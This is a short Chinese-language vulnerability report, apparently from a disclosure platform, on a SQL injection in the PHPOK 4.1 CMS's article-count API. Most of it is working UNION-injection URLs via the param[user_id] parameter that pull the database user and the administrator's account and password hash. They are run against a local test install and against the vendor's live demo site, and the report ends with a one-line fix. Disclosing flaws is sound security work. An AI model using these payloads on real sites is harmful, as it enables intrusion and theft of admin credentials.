PHPOK最新版前台SQL注入漏洞(可直接获取管理员密码)

PHPOK最新版前台某功能存在SQL注入漏洞,可直接UNION注入获取管理员密码

PHPOK4.1最新版(2014-08-18更新)

官网:http://www.phpok.com/phpok.html

官网演示站点:http://demo.phpok.com

这里先整理下PHPOK系统的前台数据处理流程:

PHPOK系统在前台获取“文章总数”的功能实现上存在SQL注入漏洞。

漏洞文件:处理数据的data_model类/framework/model/data.php

漏洞函数:获取“文章总数”的total($rs)函数

这个漏洞应该和 WooYun: PHPOK SQL注射漏洞(官网) 算是同一文件不同的函数存在注入漏洞,不知道这种情况算不算新漏洞

漏洞代码:/framework/model/data.php文件第288行开始

 

最后的数据调用流程如下:

 

1)本地测试

http://127.0.0.1/phpok4.1-0818/api.php?c=api&f=phpok&id=_total¶m[pid]=42¶m[user_id]=0)UNION+SELECT+concat(user(),0x5e,version())LIMIT+1,1%23

 

1.png

 

http://127.0.0.1/phpok4.1-0818/api.php?c=api&f=phpok&id=_total¶m[pid]=42¶m[user_id]=0)UNION+SELECT+(SELECT+CONCAT(account,0x5e,pass)+FROM+qinggan_adm+LIMIT+1)LIMIT+1,1%23

 

2.png

2)官方演示站点测试

http://demo.phpok.com/api.php?c=api&f=phpok&id=_total¶m[pid]=42¶m[user_id]=0)UNION+SELECT+concat(user(),0x5e,version())LIMIT+1,1%23

 

3.png

获取管理员用户密码:

http://demo.phpok.com/api.php?c=api&f=phpok&id=_total¶m[pid]=42¶m[user_id]=0)UNION+SELECT+(SELECT+CONCAT(account,0x5e,pass)+FROM+qinggan_adm+LIMIT+1)LIMIT+1,1%23

 

4.png

 

修复方案:

intval处理下